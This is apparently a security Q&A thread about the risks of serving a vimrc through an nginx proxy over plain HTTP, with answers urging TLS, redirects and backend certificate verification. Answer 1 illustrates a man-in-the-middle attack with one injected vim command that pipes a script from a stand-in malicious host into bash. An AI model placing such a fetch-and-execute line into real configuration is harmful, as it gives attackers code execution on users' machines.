Security concerns when using nginx as a lightweight URL shortener

Question

I wish to use nginx as a lightweight URL shortener. To be exact, assuming my domain name is example.com, I have this most basic nginx.conf:

events {}
http {
  server {
    listen 80;
    location = /vimrc {
      proxy_pass https://some/publicly/available/url/to/vimrc;                                
    }
    ... # similar locations follow
  }
}

So, whenever I wish to deploy my vim configuration, I can simply do: curl example.com/vimrc.

This seems to be working as intended, although with almost zero knowledge of nginx, I am a little concerned of default nginx behavior (which I am not aware of) that may expose my server to security related threats.

It should be noted I currently don't mind running on port 80. (I am well aware of mitm, and that the connection is in plaintext, but this is not something I wish to deal with at the moment).

Update

• I've modified the configuration to use return 301 https://url/to/vimrc.
• I will probably look into Configuring SSL as well, as the small chance of MITM is indeed not worth the risk.

Answer 1

The only vulnerability here is the http:// connection that you wished to ignore.

Suppose that there is a MITM, and the attacker added to your .vimrc

command Q !curl http://evilwebsite.com/infect.sh | bash

Then, misspelling :q as :Q would infect your machine.¹ Is it really worth the risk?

Note that even if you secured your connection to example.com, the same risk would be there if the proxying was done through http:.

The basic solution would be to do configure SSL, and it will surely be useful for other things, too.

But in this specific case, where nginx is fetching a public https:// url, you could simply replace this with a redirect:

rewrite ^ https://some/publicly/available/url/to/vimrc ; 

and manually verify that curl is redirecting you to the expected server.

Still, having a routine of downloading of your dot files from someone else's server strongly relies on them being both honest and not compromised.

¹ There are probably better vector.

Answer 2

On top of what Ángel wrote, the connection between your Nginx server and https://some/ can be MITMed, because some's certificate is not verified by default. You would need to set proxy_ssl_trusted_certificate and proxy_ssl_verify to enforce that.

You should also look at proxy_ignore_headers for headers such as Set-Cookie and X-Accel-Redirect that a malicious backend could potentially use to do problematic things.

It would be less strange and perhaps have fewer security implications to use return or rewrite to redirect to https://some/, instead of proxy_passing it, but not that much can go wrong, especially if you trust your backend and example.com isn't much of a target.